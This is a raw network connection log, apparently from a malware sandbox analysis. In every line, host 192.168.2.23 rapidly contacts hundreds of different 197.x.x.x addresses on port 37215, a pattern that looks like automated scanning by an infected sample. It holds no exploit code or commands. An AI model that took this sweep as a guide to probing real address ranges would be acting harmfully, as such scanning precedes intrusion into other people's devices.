Feb 20, 2022 16:02:42.530049086 CET	27221	37215	192.168.2.23	197.8.245.249
Feb 20, 2022 16:02:42.530062914 CET	27221	37215	192.168.2.23	197.85.168.245
Feb 20, 2022 16:02:42.530075073 CET	27221	37215	192.168.2.23	197.140.229.242
Feb 20, 2022 16:02:42.530092001 CET	27221	37215	192.168.2.23	197.108.224.60
Feb 20, 2022 16:02:42.530117035 CET	27221	37215	192.168.2.23	197.37.249.18
Feb 20, 2022 16:02:42.530134916 CET	27221	37215	192.168.2.23	197.154.44.65
Feb 20, 2022 16:02:42.530180931 CET	27221	37215	192.168.2.23	197.3.59.187
Feb 20, 2022 16:02:42.530194044 CET	27221	37215	192.168.2.23	197.115.106.5
Feb 20, 2022 16:02:42.530205965 CET	27221	37215	192.168.2.23	197.184.153.109
Feb 20, 2022 16:02:42.530250072 CET	27221	37215	192.168.2.23	197.123.183.196
Feb 20, 2022 16:02:42.530251980 CET	27221	37215	192.168.2.23	197.165.73.134
Feb 20, 2022 16:02:42.530294895 CET	27221	37215	192.168.2.23	197.144.204.233
Feb 20, 2022 16:02:42.530319929 CET	27221	37215	192.168.2.23	197.21.129.157
Feb 20, 2022 16:02:42.530330896 CET	27221	37215	192.168.2.23	197.46.27.116
Feb 20, 2022 16:02:42.530375004 CET	27221	37215	192.168.2.23	197.83.128.67
Feb 20, 2022 16:02:42.530402899 CET	27221	37215	192.168.2.23	197.215.185.9
Feb 20, 2022 16:02:42.530462980 CET	27221	37215	192.168.2.23	197.147.172.195
Feb 20, 2022 16:02:42.530472040 CET	27221	37215	192.168.2.23	197.46.114.85
Feb 20, 2022 16:02:42.530494928 CET	27221	37215	192.168.2.23	197.21.159.196
Feb 20, 2022 16:02:42.530494928 CET	27221	37215	192.168.2.23	197.68.183.182
Feb 20, 2022 16:02:42.530518055 CET	27221	37215	192.168.2.23	197.185.249.65
Feb 20, 2022 16:02:42.530524015 CET	27221	37215	192.168.2.23	197.164.231.151
Feb 20, 2022 16:02:42.530572891 CET	27221	37215	192.168.2.23	197.76.42.135
Feb 20, 2022 16:02:42.530599117 CET	27221	37215	192.168.2.23	197.3.123.76
Feb 20, 2022 16:02:42.530637026 CET	27221	37215	192.168.2.23	197.52.135.53
Feb 20, 2022 16:02:42.530657053 CET	27221	37215	192.168.2.23	197.166.188.29
Feb 20, 2022 16:02:42.530668020 CET	27221	37215	192.168.2.23	197.41.125.78
Feb 20, 2022 16:02:42.530697107 CET	27221	37215	192.168.2.23	197.158.227.60
Feb 20, 2022 16:02:42.530714035 CET	27221	37215	192.168.2.23	197.209.127.122
Feb 20, 2022 16:02:42.530730963 CET	27221	37215	192.168.2.23	197.53.40.46
Feb 20, 2022 16:02:42.530744076 CET	27221	37215	192.168.2.23	197.134.131.12
Feb 20, 2022 16:02:42.530761957 CET	27221	37215	192.168.2.23	197.97.108.238
Feb 20, 2022 16:02:42.530781984 CET	27221	37215	192.168.2.23	197.236.69.54
Feb 20, 2022 16:02:42.530802011 CET	27221	37215	192.168.2.23	197.247.99.106
Feb 20, 2022 16:02:42.530811071 CET	27221	37215	192.168.2.23	197.77.17.75
Feb 20, 2022 16:02:42.530838966 CET	27221	37215	192.168.2.23	197.218.237.101
Feb 20, 2022 16:02:42.530872107 CET	27221	37215	192.168.2.23	197.13.236.158
Feb 20, 2022 16:02:42.530875921 CET	27221	37215	192.168.2.23	197.39.177.190
Feb 20, 2022 16:02:42.530899048 CET	27221	37215	192.168.2.23	197.127.116.187
Feb 20, 2022 16:02:42.530924082 CET	27221	37215	192.168.2.23	197.82.245.39
Feb 20, 2022 16:02:42.530935049 CET	27221	37215	192.168.2.23	197.218.40.21
Feb 20, 2022 16:02:42.530961990 CET	27221	37215	192.168.2.23	197.248.53.255
Feb 20, 2022 16:02:42.530986071 CET	27221	37215	192.168.2.23	197.65.200.84
Feb 20, 2022 16:02:42.531008959 CET	27221	37215	192.168.2.23	197.57.228.162
Feb 20, 2022 16:02:42.531037092 CET	27221	37215	192.168.2.23	197.21.212.175
Feb 20, 2022 16:02:42.531055927 CET	27221	37215	192.168.2.23	197.140.84.250
Feb 20, 2022 16:02:42.531117916 CET	27221	37215	192.168.2.23	197.67.120.13
Feb 20, 2022 16:02:42.531124115 CET	27221	37215	192.168.2.23	197.20.87.148
Feb 20, 2022 16:02:42.531131983 CET	27221	37215	192.168.2.23	197.117.147.79
Feb 20, 2022 16:02:42.531145096 CET	27221	37215	192.168.2.23	197.220.215.0
Feb 20, 2022 16:02:42.531171083 CET	27221	37215	192.168.2.23	197.251.60.173
Feb 20, 2022 16:02:42.531213045 CET	27221	37215	192.168.2.23	197.69.32.72
Feb 20, 2022 16:02:42.531234980 CET	27221	37215	192.168.2.23	197.9.193.221
Feb 20, 2022 16:02:42.531255007 CET	27221	37215	192.168.2.23	197.166.81.8
Feb 20, 2022 16:02:42.531279087 CET	27221	37215	192.168.2.23	197.231.109.21
Feb 20, 2022 16:02:42.531327009 CET	27221	37215	192.168.2.23	197.151.178.117
Feb 20, 2022 16:02:42.531330109 CET	27221	37215	192.168.2.23	197.192.95.102
Feb 20, 2022 16:02:42.531348944 CET	27221	37215	192.168.2.23	197.223.171.240
Feb 20, 2022 16:02:42.531383038 CET	27221	37215	192.168.2.23	197.64.155.208
Feb 20, 2022 16:02:42.531398058 CET	27221	37215	192.168.2.23	197.215.174.73
Feb 20, 2022 16:02:42.531416893 CET	27221	37215	192.168.2.23	197.141.101.221
Feb 20, 2022 16:02:42.531440973 CET	27221	37215	192.168.2.23	197.210.219.139
Feb 20, 2022 16:02:42.531469107 CET	27221	37215	192.168.2.23	197.80.195.46
Feb 20, 2022 16:02:42.531497955 CET	27221	37215	192.168.2.23	197.104.161.111
Feb 20, 2022 16:02:42.531543970 CET	27221	37215	192.168.2.23	197.138.83.112
Feb 20, 2022 16:02:42.531549931 CET	27221	37215	192.168.2.23	197.219.24.196
Feb 20, 2022 16:02:42.531562090 CET	27221	37215	192.168.2.23	197.252.253.113
Feb 20, 2022 16:02:42.531580925 CET	27221	37215	192.168.2.23	197.228.91.3
Feb 20, 2022 16:02:42.531618118 CET	27221	37215	192.168.2.23	197.35.181.177
Feb 20, 2022 16:02:42.531630039 CET	27221	37215	192.168.2.23	197.105.250.182
Feb 20, 2022 16:02:42.531651974 CET	27221	37215	192.168.2.23	197.237.24.55
Feb 20, 2022 16:02:42.531681061 CET	27221	37215	192.168.2.23	197.38.202.212
Feb 20, 2022 16:02:42.531708956 CET	27221	37215	192.168.2.23	197.195.21.93
Feb 20, 2022 16:02:42.531780005 CET	27221	37215	192.168.2.23	197.201.179.167
Feb 20, 2022 16:02:42.531789064 CET	27221	37215	192.168.2.23	197.109.133.69
Feb 20, 2022 16:02:42.531819105 CET	27221	37215	192.168.2.23	197.213.2.18
Feb 20, 2022 16:02:42.531858921 CET	27221	37215	192.168.2.23	197.142.174.42
Feb 20, 2022 16:02:42.531881094 CET	27221	37215	192.168.2.23	197.139.72.67
Feb 20, 2022 16:02:42.531897068 CET	27221	37215	192.168.2.23	197.115.185.58
Feb 20, 2022 16:02:42.531909943 CET	27221	37215	192.168.2.23	197.3.193.21
Feb 20, 2022 16:02:42.531935930 CET	27221	37215	192.168.2.23	197.165.195.123
Feb 20, 2022 16:02:42.531963110 CET	27221	37215	192.168.2.23	197.155.144.55
Feb 20, 2022 16:02:42.531982899 CET	27221	37215	192.168.2.23	197.39.220.128
Feb 20, 2022 16:02:42.532001019 CET	27221	37215	192.168.2.23	197.174.153.138
Feb 20, 2022 16:02:42.532028913 CET	27221	37215	192.168.2.23	197.166.11.183
Feb 20, 2022 16:02:42.532078028 CET	27221	37215	192.168.2.23	197.149.125.166
Feb 20, 2022 16:02:42.532095909 CET	27221	37215	192.168.2.23	197.9.154.172
Feb 20, 2022 16:02:42.532110929 CET	27221	37215	192.168.2.23	197.141.56.198
Feb 20, 2022 16:02:42.532126904 CET	27221	37215	192.168.2.23	197.98.140.216
Feb 20, 2022 16:02:42.532140970 CET	27221	37215	192.168.2.23	197.43.200.96
Feb 20, 2022 16:02:42.532166958 CET	27221	37215	192.168.2.23	197.210.241.203
Feb 20, 2022 16:02:42.532191992 CET	27221	37215	192.168.2.23	197.105.81.229
Feb 20, 2022 16:02:42.532210112 CET	27221	37215	192.168.2.23	197.248.177.124
Feb 20, 2022 16:02:42.532234907 CET	27221	37215	192.168.2.23	197.89.177.222
Feb 20, 2022 16:02:42.532257080 CET	27221	37215	192.168.2.23	197.90.146.152
Feb 20, 2022 16:02:42.532274961 CET	27221	37215	192.168.2.23	197.208.195.125
Feb 20, 2022 16:02:42.532311916 CET	27221	37215	192.168.2.23	197.56.66.157
Feb 20, 2022 16:02:42.532337904 CET	27221	37215	192.168.2.23	197.1.121.145
Feb 20, 2022 16:02:42.532407999 CET	27221	37215	192.168.2.23	197.227.69.151
Feb 20, 2022 16:02:42.532418966 CET	27221	37215	192.168.2.23	197.246.156.65
Feb 20, 2022 16:02:42.532438040 CET	27221	37215	192.168.2.23	197.186.96.108
Feb 20, 2022 16:02:42.532463074 CET	27221	37215	192.168.2.23	197.242.235.57
Feb 20, 2022 16:02:42.532480955 CET	27221	37215	192.168.2.23	197.49.56.138
Feb 20, 2022 16:02:42.532510996 CET	27221	37215	192.168.2.23	197.234.10.104
Feb 20, 2022 16:02:42.532532930 CET	27221	37215	192.168.2.23	197.159.68.232
Feb 20, 2022 16:02:42.532545090 CET	27221	37215	192.168.2.23	197.254.238.243
Feb 20, 2022 16:02:42.532550097 CET	27221	37215	192.168.2.23	197.227.18.92
Feb 20, 2022 16:02:42.532572985 CET	27221	37215	192.168.2.23	197.18.84.197
Feb 20, 2022 16:02:42.532594919 CET	27221	37215	192.168.2.23	197.57.71.250
Feb 20, 2022 16:02:42.532613039 CET	27221	37215	192.168.2.23	197.167.239.179
Feb 20, 2022 16:02:42.532634974 CET	27221	37215	192.168.2.23	197.87.212.79
Feb 20, 2022 16:02:42.532663107 CET	27221	37215	192.168.2.23	197.163.184.23
Feb 20, 2022 16:02:42.532684088 CET	27221	37215	192.168.2.23	197.31.239.130
Feb 20, 2022 16:02:42.532720089 CET	27221	37215	192.168.2.23	197.176.175.132
Feb 20, 2022 16:02:42.532737970 CET	27221	37215	192.168.2.23	197.91.127.90
Feb 20, 2022 16:02:42.532763004 CET	27221	37215	192.168.2.23	197.154.4.62
Feb 20, 2022 16:02:42.532793999 CET	27221	37215	192.168.2.23	197.220.91.149
Feb 20, 2022 16:02:42.532819033 CET	27221	37215	192.168.2.23	197.246.186.195
Feb 20, 2022 16:02:42.532850027 CET	27221	37215	192.168.2.23	197.64.181.90
Feb 20, 2022 16:02:42.532871962 CET	27221	37215	192.168.2.23	197.201.254.34
Feb 20, 2022 16:02:42.532896996 CET	27221	37215	192.168.2.23	197.198.41.248
Feb 20, 2022 16:02:42.532918930 CET	27221	37215	192.168.2.23	197.160.69.30
Feb 20, 2022 16:02:42.532943010 CET	27221	37215	192.168.2.23	197.194.61.213
Feb 20, 2022 16:02:42.533006907 CET	27221	37215	192.168.2.23	197.160.236.54
Feb 20, 2022 16:02:42.533018112 CET	27221	37215	192.168.2.23	197.247.214.246
Feb 20, 2022 16:02:42.533073902 CET	27221	37215	192.168.2.23	197.178.48.98
Feb 20, 2022 16:02:42.533087015 CET	27221	37215	192.168.2.23	197.237.46.64
Feb 20, 2022 16:02:42.533109903 CET	27221	37215	192.168.2.23	197.207.15.225
Feb 20, 2022 16:02:42.533126116 CET	27221	37215	192.168.2.23	197.201.204.117
Feb 20, 2022 16:02:42.533130884 CET	27221	37215	192.168.2.23	197.83.200.85
Feb 20, 2022 16:02:42.533145905 CET	27221	37215	192.168.2.23	197.104.37.194
Feb 20, 2022 16:02:42.533157110 CET	27221	37215	192.168.2.23	197.98.67.173
Feb 20, 2022 16:02:42.533185005 CET	27221	37215	192.168.2.23	197.105.245.50
Feb 20, 2022 16:02:42.533209085 CET	27221	37215	192.168.2.23	197.29.179.227
Feb 20, 2022 16:02:42.533240080 CET	27221	37215	192.168.2.23	197.119.36.231
Feb 20, 2022 16:02:42.533305883 CET	27221	37215	192.168.2.23	197.100.106.143
Feb 20, 2022 16:02:42.533327103 CET	27221	37215	192.168.2.23	197.27.131.140
Feb 20, 2022 16:02:42.533337116 CET	27221	37215	192.168.2.23	197.45.128.126
Feb 20, 2022 16:02:42.533354044 CET	27221	37215	192.168.2.23	197.100.70.237
Feb 20, 2022 16:02:42.533370972 CET	27221	37215	192.168.2.23	197.19.12.67
Feb 20, 2022 16:02:42.533376932 CET	27221	37215	192.168.2.23	197.254.107.72
Feb 20, 2022 16:02:42.533401966 CET	27221	37215	192.168.2.23	197.8.124.37
Feb 20, 2022 16:02:42.533421040 CET	27221	37215	192.168.2.23	197.61.65.209
Feb 20, 2022 16:02:42.533495903 CET	27221	37215	192.168.2.23	197.117.198.18
Feb 20, 2022 16:02:42.533500910 CET	27221	37215	192.168.2.23	197.74.87.108
Feb 20, 2022 16:02:42.533508062 CET	27221	37215	192.168.2.23	197.108.58.37
Feb 20, 2022 16:02:42.533538103 CET	27221	37215	192.168.2.23	197.156.244.64
Feb 20, 2022 16:02:42.533560991 CET	27221	37215	192.168.2.23	197.40.96.30
Feb 20, 2022 16:02:42.533581972 CET	27221	37215	192.168.2.23	197.222.12.84
Feb 20, 2022 16:02:42.533603907 CET	27221	37215	192.168.2.23	197.190.44.198
Feb 20, 2022 16:02:42.533632040 CET	27221	37215	192.168.2.23	197.36.136.180
Feb 20, 2022 16:02:42.533689022 CET	27221	37215	192.168.2.23	197.26.21.8
Feb 20, 2022 16:02:42.533713102 CET	27221	37215	192.168.2.23	197.218.72.65
Feb 20, 2022 16:02:42.533723116 CET	27221	37215	192.168.2.23	197.7.133.112
Feb 20, 2022 16:02:42.533739090 CET	27221	37215	192.168.2.23	197.60.93.127
Feb 20, 2022 16:02:42.533763885 CET	27221	37215	192.168.2.23	197.69.222.149
Feb 20, 2022 16:02:42.533783913 CET	27221	37215	192.168.2.23	197.50.146.1
Feb 20, 2022 16:02:42.533818960 CET	27221	37215	192.168.2.23	197.107.31.116
Feb 20, 2022 16:02:42.533844948 CET	27221	37215	192.168.2.23	197.24.160.184
Feb 20, 2022 16:02:42.533924103 CET	27221	37215	192.168.2.23	197.173.104.90
Feb 20, 2022 16:02:42.533930063 CET	27221	37215	192.168.2.23	197.44.210.99
Feb 20, 2022 16:02:42.533943892 CET	27221	37215	192.168.2.23	197.95.224.206
Feb 20, 2022 16:02:42.533972979 CET	27221	37215	192.168.2.23	197.180.97.188
Feb 20, 2022 16:02:42.533973932 CET	27221	37215	192.168.2.23	197.70.105.1
Feb 20, 2022 16:02:42.533996105 CET	27221	37215	192.168.2.23	197.192.168.228
Feb 20, 2022 16:02:42.534023046 CET	27221	37215	192.168.2.23	197.119.183.216
Feb 20, 2022 16:02:42.534048080 CET	27221	37215	192.168.2.23	197.95.95.131
Feb 20, 2022 16:02:42.534075975 CET	27221	37215	192.168.2.23	197.183.255.65
Feb 20, 2022 16:02:42.534153938 CET	27221	37215	192.168.2.23	197.54.174.191
Feb 20, 2022 16:02:42.534172058 CET	27221	37215	192.168.2.23	197.44.146.60
Feb 20, 2022 16:02:42.534173965 CET	27221	37215	192.168.2.23	197.208.35.151
Feb 20, 2022 16:02:42.534204006 CET	27221	37215	192.168.2.23	197.15.151.132
Feb 20, 2022 16:02:42.534221888 CET	27221	37215	192.168.2.23	197.101.140.102
Feb 20, 2022 16:02:42.534235954 CET	27221	37215	192.168.2.23	197.196.161.229
Feb 20, 2022 16:02:42.534254074 CET	27221	37215	192.168.2.23	197.45.245.166
Feb 20, 2022 16:02:42.534280062 CET	27221	37215	192.168.2.23	197.185.244.154
Feb 20, 2022 16:02:42.534301043 CET	27221	37215	192.168.2.23	197.66.222.53
Feb 20, 2022 16:02:42.534318924 CET	27221	37215	192.168.2.23	197.139.18.147
Feb 20, 2022 16:02:42.534393072 CET	27221	37215	192.168.2.23	197.243.128.41
Feb 20, 2022 16:02:42.534396887 CET	27221	37215	192.168.2.23	197.48.97.7
Feb 20, 2022 16:02:42.534404993 CET	27221	37215	192.168.2.23	197.142.160.136
Feb 20, 2022 16:02:42.534419060 CET	27221	37215	192.168.2.23	197.173.102.241
Feb 20, 2022 16:02:42.534445047 CET	27221	37215	192.168.2.23	197.100.182.190
Feb 20, 2022 16:02:42.534465075 CET	27221	37215	192.168.2.23	197.248.89.62
Feb 20, 2022 16:02:42.534482956 CET	27221	37215	192.168.2.23	197.154.173.100
Feb 20, 2022 16:02:42.534517050 CET	27221	37215	192.168.2.23	197.211.81.217
Feb 20, 2022 16:02:42.534534931 CET	27221	37215	192.168.2.23	197.94.98.19
Feb 20, 2022 16:02:42.534554958 CET	27221	37215	192.168.2.23	197.135.95.183
Feb 20, 2022 16:02:42.534574986 CET	27221	37215	192.168.2.23	197.217.106.44
Feb 20, 2022 16:02:42.534657955 CET	27221	37215	192.168.2.23	197.215.203.4
Feb 20, 2022 16:02:42.534660101 CET	27221	37215	192.168.2.23	197.54.38.17
Feb 20, 2022 16:02:42.534663916 CET	27221	37215	192.168.2.23	197.27.229.162
Feb 20, 2022 16:02:42.534667015 CET	27221	37215	192.168.2.23	197.223.31.141
Feb 20, 2022 16:02:42.534692049 CET	27221	37215	192.168.2.23	197.112.165.130
Feb 20, 2022 16:02:42.534715891 CET	27221	37215	192.168.2.23	197.206.170.2
Feb 20, 2022 16:02:42.534739017 CET	27221	37215	192.168.2.23	197.178.42.38
Feb 20, 2022 16:02:42.534756899 CET	27221	37215	192.168.2.23	197.70.27.197
Feb 20, 2022 16:02:42.534781933 CET	27221	37215	192.168.2.23	197.169.184.58
Feb 20, 2022 16:02:42.534806967 CET	27221	37215	192.168.2.23	197.203.165.36
Feb 20, 2022 16:02:42.534821987 CET	27221	37215	192.168.2.23	197.207.27.39
Feb 20, 2022 16:02:42.534851074 CET	27221	37215	192.168.2.23	197.126.130.147
Feb 20, 2022 16:02:42.534876108 CET	27221	37215	192.168.2.23	197.65.93.38
Feb 20, 2022 16:02:42.534976006 CET	27221	37215	192.168.2.23	197.113.6.145
Feb 20, 2022 16:02:42.534976959 CET	27221	37215	192.168.2.23	197.200.157.143
Feb 20, 2022 16:02:42.534985065 CET	27221	37215	192.168.2.23	197.179.121.168
Feb 20, 2022 16:02:42.534986973 CET	27221	37215	192.168.2.23	197.55.168.14
Feb 20, 2022 16:02:42.534989119 CET	27221	37215	192.168.2.23	197.162.246.165
Feb 20, 2022 16:02:42.535034895 CET	27221	37215	192.168.2.23	197.155.54.229
Feb 20, 2022 16:02:42.535058022 CET	27221	37215	192.168.2.23	197.173.74.126
Feb 20, 2022 16:02:42.535065889 CET	27221	37215	192.168.2.23	197.180.248.21
Feb 20, 2022 16:02:42.535080910 CET	27221	37215	192.168.2.23	197.157.130.184
Feb 20, 2022 16:02:42.535119057 CET	27221	37215	192.168.2.23	197.221.239.211
Feb 20, 2022 16:02:42.535130978 CET	27221	37215	192.168.2.23	197.180.63.98
Feb 20, 2022 16:02:42.535156965 CET	27221	37215	192.168.2.23	197.84.6.208
Feb 20, 2022 16:02:42.535186052 CET	27221	37215	192.168.2.23	197.56.169.109
Feb 20, 2022 16:02:42.535279036 CET	27221	37215	192.168.2.23	197.176.19.137
Feb 20, 2022 16:02:42.535280943 CET	27221	37215	192.168.2.23	197.40.162.10
Feb 20, 2022 16:02:42.535310984 CET	27221	37215	192.168.2.23	197.198.80.147
Feb 20, 2022 16:02:42.535312891 CET	27221	37215	192.168.2.23	197.130.154.205
Feb 20, 2022 16:02:42.535324097 CET	27221	37215	192.168.2.23	197.21.190.136
Feb 20, 2022 16:02:42.535336018 CET	27221	37215	192.168.2.23	197.31.190.105
Feb 20, 2022 16:02:42.535363913 CET	27221	37215	192.168.2.23	197.167.162.214
Feb 20, 2022 16:02:42.535384893 CET	27221	37215	192.168.2.23	197.178.77.199
Feb 20, 2022 16:02:42.535406113 CET	27221	37215	192.168.2.23	197.70.245.90
Feb 20, 2022 16:02:42.535501957 CET	27221	37215	192.168.2.23	197.142.120.29
Feb 20, 2022 16:02:42.535516024 CET	27221	37215	192.168.2.23	197.45.31.56
Feb 20, 2022 16:02:42.535517931 CET	27221	37215	192.168.2.23	197.135.241.2
Feb 20, 2022 16:02:42.535540104 CET	27221	37215	192.168.2.23	197.100.120.43
Feb 20, 2022 16:02:42.535558939 CET	27221	37215	192.168.2.23	197.117.38.116
Feb 20, 2022 16:02:42.535563946 CET	27221	37215	192.168.2.23	197.154.111.119
Feb 20, 2022 16:02:42.535587072 CET	27221	37215	192.168.2.23	197.169.68.219
Feb 20, 2022 16:02:42.535598993 CET	27221	37215	192.168.2.23	197.34.9.106
Feb 20, 2022 16:02:42.535624981 CET	27221	37215	192.168.2.23	197.152.192.33
Feb 20, 2022 16:02:42.535640955 CET	27221	37215	192.168.2.23	197.57.247.36
Feb 20, 2022 16:02:42.535664082 CET	27221	37215	192.168.2.23	197.202.28.115
Feb 20, 2022 16:02:42.535692930 CET	27221	37215	192.168.2.23	197.203.202.138
Feb 20, 2022 16:02:42.535722017 CET	27221	37215	192.168.2.23	197.30.180.152
Feb 20, 2022 16:02:42.535819054 CET	27221	37215	192.168.2.23	197.44.189.13
Feb 20, 2022 16:02:42.535823107 CET	27221	37215	192.168.2.23	197.104.70.65
Feb 20, 2022 16:02:42.535824060 CET	27221	37215	192.168.2.23	197.198.249.242
Feb 20, 2022 16:02:42.535835981 CET	27221	37215	192.168.2.23	197.131.246.48
Feb 20, 2022 16:02:42.535882950 CET	27221	37215	192.168.2.23	197.160.47.247
Feb 20, 2022 16:02:42.535897970 CET	27221	37215	192.168.2.23	197.84.1.84
Feb 20, 2022 16:02:42.535902977 CET	27221	37215	192.168.2.23	197.98.187.13
Feb 20, 2022 16:02:42.535921097 CET	27221	37215	192.168.2.23	197.20.163.134
Feb 20, 2022 16:02:42.535945892 CET	27221	37215	192.168.2.23	197.44.111.143
Feb 20, 2022 16:02:42.535973072 CET	27221	37215	192.168.2.23	197.98.93.58
Feb 20, 2022 16:02:42.535998106 CET	27221	37215	192.168.2.23	197.35.184.139
Feb 20, 2022 16:02:42.536026001 CET	27221	37215	192.168.2.23	197.220.143.244
Feb 20, 2022 16:02:42.536042929 CET	27221	37215	192.168.2.23	197.126.173.246
Feb 20, 2022 16:02:42.536149979 CET	27221	37215	192.168.2.23	197.108.12.84
Feb 20, 2022 16:02:42.536180973 CET	27221	37215	192.168.2.23	197.214.159.198
Feb 20, 2022 16:02:42.536204100 CET	27221	37215	192.168.2.23	197.131.193.1
Feb 20, 2022 16:02:42.536206961 CET	27221	37215	192.168.2.23	197.24.126.199
Feb 20, 2022 16:02:42.536212921 CET	27221	37215	192.168.2.23	197.35.206.232
Feb 20, 2022 16:02:42.536232948 CET	27221	37215	192.168.2.23	197.133.199.229
Feb 20, 2022 16:02:42.536238909 CET	27221	37215	192.168.2.23	197.146.223.212
Feb 20, 2022 16:02:42.536247015 CET	27221	37215	192.168.2.23	197.17.50.162
Feb 20, 2022 16:02:42.536271095 CET	27221	37215	192.168.2.23	197.182.177.15
Feb 20, 2022 16:02:42.536298037 CET	27221	37215	192.168.2.23	197.181.241.168
Feb 20, 2022 16:02:42.536317110 CET	27221	37215	192.168.2.23	197.215.111.209
Feb 20, 2022 16:02:42.536340952 CET	27221	37215	192.168.2.23	197.247.146.142
Feb 20, 2022 16:02:42.536367893 CET	27221	37215	192.168.2.23	197.116.224.28
Feb 20, 2022 16:02:42.536393881 CET	27221	37215	192.168.2.23	197.111.80.213
Feb 20, 2022 16:02:42.536421061 CET	27221	37215	192.168.2.23	197.179.114.147
Feb 20, 2022 16:02:42.536437035 CET	27221	37215	192.168.2.23	197.130.101.51
Feb 20, 2022 16:02:42.536535978 CET	27221	37215	192.168.2.23	197.98.183.76
Feb 20, 2022 16:02:42.536546946 CET	27221	37215	192.168.2.23	197.70.115.208
Feb 20, 2022 16:02:42.536552906 CET	27221	37215	192.168.2.23	197.192.228.59
Feb 20, 2022 16:02:42.536562920 CET	27221	37215	192.168.2.23	197.212.57.64
Feb 20, 2022 16:02:42.536566019 CET	27221	37215	192.168.2.23	197.100.233.112
Feb 20, 2022 16:02:42.536582947 CET	27221	37215	192.168.2.23	197.97.52.12
Feb 20, 2022 16:02:42.536613941 CET	27221	37215	192.168.2.23	197.37.162.250
Feb 20, 2022 16:02:42.536626101 CET	27221	37215	192.168.2.23	197.222.98.74
Feb 20, 2022 16:02:42.536652088 CET	27221	37215	192.168.2.23	197.129.219.100
Feb 20, 2022 16:02:42.536675930 CET	27221	37215	192.168.2.23	197.135.115.126
Feb 20, 2022 16:02:42.536698103 CET	27221	37215	192.168.2.23	197.62.2.147
Feb 20, 2022 16:02:42.536721945 CET	27221	37215	192.168.2.23	197.177.230.161
Feb 20, 2022 16:02:42.536835909 CET	27221	37215	192.168.2.23	197.70.80.91
Feb 20, 2022 16:02:42.536839962 CET	27221	37215	192.168.2.23	197.82.124.155
Feb 20, 2022 16:02:42.536847115 CET	27221	37215	192.168.2.23	197.95.50.211
Feb 20, 2022 16:02:42.536859035 CET	27221	37215	192.168.2.23	197.68.9.169
Feb 20, 2022 16:02:42.536878109 CET	27221	37215	192.168.2.23	197.50.47.179
Feb 20, 2022 16:02:42.536895990 CET	27221	37215	192.168.2.23	197.90.105.173
Feb 20, 2022 16:02:42.536916018 CET	27221	37215	192.168.2.23	197.85.80.87
Feb 20, 2022 16:02:42.536916971 CET	27221	37215	192.168.2.23	197.171.62.247
Feb 20, 2022 16:02:42.536948919 CET	27221	37215	192.168.2.23	197.127.78.205
Feb 20, 2022 16:02:42.536973000 CET	27221	37215	192.168.2.23	197.217.105.180
Feb 20, 2022 16:02:42.536988974 CET	27221	37215	192.168.2.23	197.161.23.129
Feb 20, 2022 16:02:42.537023067 CET	27221	37215	192.168.2.23	197.206.73.49
Feb 20, 2022 16:02:42.537045956 CET	27221	37215	192.168.2.23	197.146.13.223
Feb 20, 2022 16:02:42.537164927 CET	27221	37215	192.168.2.23	197.78.115.99
Feb 20, 2022 16:02:42.537167072 CET	27221	37215	192.168.2.23	197.203.110.199
Feb 20, 2022 16:02:42.537169933 CET	27221	37215	192.168.2.23	197.170.86.189
Feb 20, 2022 16:02:42.537172079 CET	27221	37215	192.168.2.23	197.250.48.113
Feb 20, 2022 16:02:42.537193060 CET	27221	37215	192.168.2.23	197.127.250.247
Feb 20, 2022 16:02:42.537198067 CET	27221	37215	192.168.2.23	197.52.69.203
Feb 20, 2022 16:02:42.537218094 CET	27221	37215	192.168.2.23	197.230.234.172
Feb 20, 2022 16:02:42.537242889 CET	27221	37215	192.168.2.23	197.200.99.145
Feb 20, 2022 16:02:42.537261009 CET	27221	37215	192.168.2.23	197.121.62.211
Feb 20, 2022 16:02:42.537286997 CET	27221	37215	192.168.2.23	197.184.159.38
Feb 20, 2022 16:02:42.537312031 CET	27221	37215	192.168.2.23	197.84.67.221
Feb 20, 2022 16:02:42.537333965 CET	27221	37215	192.168.2.23	197.178.112.0
Feb 20, 2022 16:02:42.537349939 CET	27221	37215	192.168.2.23	197.57.116.141
Feb 20, 2022 16:02:42.537486076 CET	27221	37215	192.168.2.23	197.207.107.53
Feb 20, 2022 16:02:42.537492990 CET	27221	37215	192.168.2.23	197.9.28.129
Feb 20, 2022 16:02:42.537501097 CET	27221	37215	192.168.2.23	197.63.215.176
Feb 20, 2022 16:02:42.537512064 CET	27221	37215	192.168.2.23	197.132.106.109
Feb 20, 2022 16:02:42.537523985 CET	27221	37215	192.168.2.23	197.198.123.11
Feb 20, 2022 16:02:42.537543058 CET	27221	37215	192.168.2.23	197.96.239.105
Feb 20, 2022 16:02:42.537545919 CET	27221	37215	192.168.2.23	197.86.155.65
Feb 20, 2022 16:02:42.537575006 CET	27221	37215	192.168.2.23	197.209.182.119
Feb 20, 2022 16:02:42.537576914 CET	27221	37215	192.168.2.23	197.30.188.227
Feb 20, 2022 16:02:42.537595034 CET	27221	37215	192.168.2.23	197.62.146.26
Feb 20, 2022 16:02:42.537616968 CET	27221	37215	192.168.2.23	197.60.207.201
Feb 20, 2022 16:02:42.537643909 CET	27221	37215	192.168.2.23	197.37.76.252
Feb 20, 2022 16:02:42.537659883 CET	27221	37215	192.168.2.23	197.249.123.208
Feb 20, 2022 16:02:42.537694931 CET	27221	37215	192.168.2.23	197.164.5.58
Feb 20, 2022 16:02:42.537823915 CET	27221	37215	192.168.2.23	197.9.171.35
Feb 20, 2022 16:02:42.537832022 CET	27221	37215	192.168.2.23	197.255.56.195
Feb 20, 2022 16:02:42.537837029 CET	27221	37215	192.168.2.23	197.253.107.90
Feb 20, 2022 16:02:42.537839890 CET	27221	37215	192.168.2.23	197.107.249.196
Feb 20, 2022 16:02:42.537864923 CET	27221	37215	192.168.2.23	197.89.113.124
Feb 20, 2022 16:02:42.537875891 CET	27221	37215	192.168.2.23	197.115.159.216
Feb 20, 2022 16:02:42.537883043 CET	27221	37215	192.168.2.23	197.78.161.120
Feb 20, 2022 16:02:42.537935019 CET	27221	37215	192.168.2.23	197.211.56.129
Feb 20, 2022 16:02:42.537940025 CET	27221	37215	192.168.2.23	197.211.240.71
Feb 20, 2022 16:02:42.537952900 CET	27221	37215	192.168.2.23	197.129.153.185
Feb 20, 2022 16:02:42.537964106 CET	27221	37215	192.168.2.23	197.241.203.197
Feb 20, 2022 16:02:42.537977934 CET	27221	37215	192.168.2.23	197.122.29.234
Feb 20, 2022 16:02:42.538002014 CET	27221	37215	192.168.2.23	197.76.167.156
Feb 20, 2022 16:02:42.538021088 CET	27221	37215	192.168.2.23	197.145.79.224
Feb 20, 2022 16:02:42.538050890 CET	27221	37215	192.168.2.23	197.114.147.132
